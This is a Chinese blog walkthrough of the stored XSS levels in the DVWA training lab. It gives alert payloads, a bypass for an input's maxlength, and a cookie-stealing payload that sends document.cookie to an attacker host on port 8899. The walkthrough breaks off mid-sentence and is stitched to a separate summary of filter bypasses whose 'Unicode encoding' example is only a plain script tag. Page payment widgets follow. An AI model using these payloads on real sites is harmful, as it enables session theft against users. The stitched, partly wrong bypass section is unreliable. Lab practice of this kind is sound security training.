DVWA通关--存储型XSS(XSS (Stored))

本文深入探讨了存储型XSS的概念、攻击路径和危害,并通过不同难度等级的实例展示了如何利用和防御此类攻击。从LOW到IMPOSSIBLE,逐步解析了payload的构造和源码分析,揭示了XSS过滤机制的漏洞和防范措施。

目录

LOW 

通关步骤

源码分析

MEDIUM

通关步骤

源码分析

HIGH

通关步骤

源码分析

IMPOSSIBLE

源码分析


存储型XSS也叫持久型XSS,从名字就知道特征是攻击代码会被存储在数据库等存储介质中,因此功效持久。攻击者可以把payload放在网站留言板、评论等位置,待用户访问网站并有匹配payload的行为时,即可触发攻击。

存储型XSS和反射型XSS本质都是一样的,只不过反射型XSS的payload的行动路径是:受害者浏览器--服务器--受害者浏览器,而存储型XSS的payload的行动路径是:浏览器--服务器--存储介质--服务器--受害者浏览器。

相关推荐:

DVWA通关--反射型XSS(XSS (Reflected))_箭雨镜屋-优快云博客

pikachu XSS Cross-Site Scripting(皮卡丘漏洞平台通关系列)_箭雨镜屋-优快云博客

WebGoat (A7) Cross Site Scripting (XSS)_箭雨镜屋-优快云博客

LOW 

通关步骤

1、试一下最简单的payload:<script>alert(1)</script>

这里我是写在message输入框里面的,name输入框是限制长度的,其实这个长度限制如果仅仅是在html中控制,是可以突破的。

等到第二步的时候来突破一下。

成功弹框

2、尝试突破一下name输入框长度限制

可以在name输入框右键->查看元素(chrome浏览器里面是右键->检查),或者F12打开之后在elements里面自己找找。

可以看到name输入框maxlength是10

直接把maxlength的值改成100

这样就可以绕开输入框长度的html标签属性限制,把payload完整输入进去了

弹出弹框

3、尝试一下获取cookie:

payload:<script>document.write('<img src="http://ip:8899/'+document.cookie+'"/>')</script>

payload里面的ip换成自己的攻击机ip地址,这个ip地址必须是目标机可达的ip地址,并且攻击机上需要起http协议。

简单地起http协议的方法有两种:

(1)用python2:

p

### 存储XSS绕过技巧分析 存储XSSStored XSS)是一种持久化的跨站脚本攻击,攻击者通过提交恶意代码到服务器端,这些代码被保存在数据库中,并在其他用户访问时被执行。DVWA(Damn Vulnerable Web Application)是一个用于学习和实践Web安全漏洞的工具,在不同安全级别下对输入参数进行了不同程度的过滤。 以下是对DVWA存储XSS过滤绕过的分析和解决方案: #### 1. 输入点 `message` 的过滤与绕过 根据描述,`message` 参数经过了严格的过滤处理[^3]: - 使用 `strip_tags()` 函数删除 HTML 标签。 - 使用 `htmlspecialchars()` 将预定义字符转换为 HTML 实体。 - 使用 `addslashes()` 在双引号前添加反斜杠。 - 使用 `mysqli_real_escape_string()` 防止 SQL 注入。 由于这些措施的存在,直接插入 JavaScript 脚本或 HTML 标签将无法生效。然而,可以尝试以下方法绕过: - **利用事件属性**:即使标签被剥离,事件属性如 `onerror` 或 `onload` 可能未被完全过滤。例如: ```html <img src=x onerror=alert(/xss/)> ``` - **使用 Unicode 编码**:某些过滤器可能未对编码字符进行检测,可以通过 Unicode 编码绕过。例如: ```html <script>alert(/xss/)</script> ``` #### 2. 输入点 `name` 的过滤与绕过 `name` 参数的过滤相对较少[^2]: - 删除空格。 - 替换 `<script>` 标签为空字符串。 - 未对大小写敏感。 因此,可以通过大小写变形绕过过滤器。例如: ```html <ScRiPt>alert(/xss/)</ScRiPt> ``` 此外,还可以尝试以下方法: - **使用内联事件**:某些过滤器可能未对事件属性进行严格检查。例如: ```html <a href="#" onclick="alert(/xss/);">Click Me</a> ``` - **利用注释混淆**:通过插入 HTML 注释干扰过滤器。例如: ```html <!-- -><script>alert(/xss/)</script><!-- - --> ``` #### 3. 绕过 Anti-CSRF Token 的限制 在高安全级别下,DVWA 引入了 Anti-CSRF Token 来防止 CSRF 攻击[^1]。这使得传统的 XSS 攻击难以通过 CSRF 请求触发。但可以通过以下方式绕过: - **本地测试**:如果目标系统允许 CORS 或存在其他漏洞,可以通过本地测试环境构造请求。 - **结合其他漏洞**:寻找系统中其他潜在漏洞(如路径遍历、文件上传等),并结合使用。 #### 示例代码 以下是一个简单的存储 XSS 攻击示例,适用于低安全级别的 DVWA 环境: ```html <!-- 使用大小写变形绕过过滤 --> <ScRiPt>alert('XSS')</ScRiPt> <!-- 使用事件属性绕过过滤 --> <img src=x onerror=alert('XSS')> <!-- 使用 Unicode 编码绕过过滤 --> <script>alert('XSS')</script> ``` ### 注意事项 尽管上述方法可用于学习和研究,但在实际环境中实施此类攻击是非法且不道德的行为。请仅在授权的情况下进行测试。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值